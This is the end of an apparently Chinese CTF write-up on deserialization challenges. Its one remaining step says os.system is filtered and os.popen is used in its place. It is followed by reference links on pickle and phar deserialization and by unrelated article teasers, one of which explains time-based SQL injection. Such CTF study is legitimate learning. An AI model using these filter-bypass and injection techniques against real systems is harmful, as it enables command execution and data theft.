hint 提示过滤了 os.system

换成 os.popen, 其它同上


参考文章:

ctfshow 反序列化

ctfshow web 反序列化(web254-278)

ctfshow Web入门[反序列化] Writeup

pickle反序列化初探

一篇文章带你理解漏洞之 Python 反序列化漏洞

初探phar://

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/81331.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

日志搞不定?手把手教你如何使用Log4j2

系列文章目录 从零开始&#xff0c;手把手教你搭建Spring Boot后台工程并说明 Spring框架与SpringBoot的关联与区别 SpringBean生成流程详解 —— 由浅入深(附超精细流程图) Spring监听器用法与原理详解 Spring事务畅谈 —— 由浅入深彻底弄懂 Transactional注解 面试热点详解…

Java实现一个简单的图书管理系统(内有源码)

简介 哈喽哈喽大家好啊&#xff0c;之前作者也是讲了Java不少的知识点了&#xff0c;为了巩固之前的知识点再为了让我们深入Java面向对象这一基本特性&#xff0c;就让我们完成一个图书管理系统的小项目吧。 项目简介&#xff1a;通过管理员和普通用户的两种操作界面&#xff0…

SQL注入之延时注入

文章目录 延时注入是什么&#xff1f;延时注入获取数据库版本号 延时注入是什么&#xff1f; 延时注入就是利用sleep()函数通过if语句判断所写的语句真假&#xff0c;如果为真返回我们想要的东西&#xff08;例如&#xff1a;数据库的长度&#xff0c;数据库的名字等&#xff0…

视频汇聚/视频云存储/视频监控管理平台EasyCVR提升网络稳定小tips来啦!

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…

【脚踢数据结构】图(纯享版)

(꒪ꇴ꒪ )&#xff0c;Hello我是祐言QAQ我的博客主页&#xff1a;C/C语言&#xff0c;Linux基础&#xff0c;ARM开发板&#xff0c;软件配置等领域博主&#x1f30d;快上&#x1f698;&#xff0c;一起学习&#xff0c;让我们成为一个强大的攻城狮&#xff01;送给自己和读者的…

Git:本地仓库创建和远程绑定

创建远程仓库 登录git网站&#xff0c;创建一个远程仓库 创建时可以选择仓库属性&#xff0c;公共/私有。仓库命名之类。创建完毕后可以在网站上看到仓库所在网址。 创建本地仓库 打开一个文件夹&#xff0c;鼠标右键Git Bash Here&#xff0c;打开git的命令行 git init//…

【C++11】future和async等

C11的future和async等关键字 1.async和future的概念 std::async 和 std::future 是 C11 引入的标准库功能&#xff0c;用于实现异步编程&#xff0c;使得在多线程环境中更容易处理并行任务。它们可以帮助你在不同线程中执行函数&#xff0c;并且能够方便地获取函数的结果。 在…

基于微信小程序的垃圾分类系统设计与实现(2.0 版本,附前后端代码)

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝30W、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 1 简介 视频演示地址&#xff1a; 基于微信小程序的智能垃圾分类回收系统&#xff0c;可作为毕业设计 小…

win11 设置小任务栏

设置后效果 以下两种工具均可 1、StartAllBack 2、Start11

Unity3d:GameFramework解析:实体,对象池,资源管理,获取计数,引用计数,自动释放

基本概念 1.GF万物基于引用池IReference 2.ObjectBase : IReference类的m_Target持有unity中Mono&#xff0c;资源&#xff0c;GameObejct 3.AssetObject : ObjectBase类m_Target持有Assetbundle中的Asset&#xff0c;具有获取&#xff0c;引用两个计数管理释放 4.ResourceObj…

嵌入式linux之QT交叉编译环境搭建(最简单实测通用版)

这里总结下用于嵌入式linux下的QT交叉编译环境搭建&#xff0c;留作备忘&#xff0c;分享给有需要的小伙伴。不管你的是什么嵌入式linux环境&#xff0c;实测过的通用方法总结。 环境准备 需要准备的环境要求如下&#xff1a; 1.虚拟机(vmvare15.5) 2.ubuntu18.04-x64的linu…

【Linux】一张图了解系统文件

首先先认识磁盘结构 系统文件分布图 文件查找 文件删除 文件的增删改查都是围绕inode来完成的&#xff0c;所以当我们要进行文件删除的时候&#xff0c;只需要通过inode来获取到它对应的block bitmap和inode bitmap数据块容器和保存文件属性的位置置为 0即可 &#xff0c;如果想…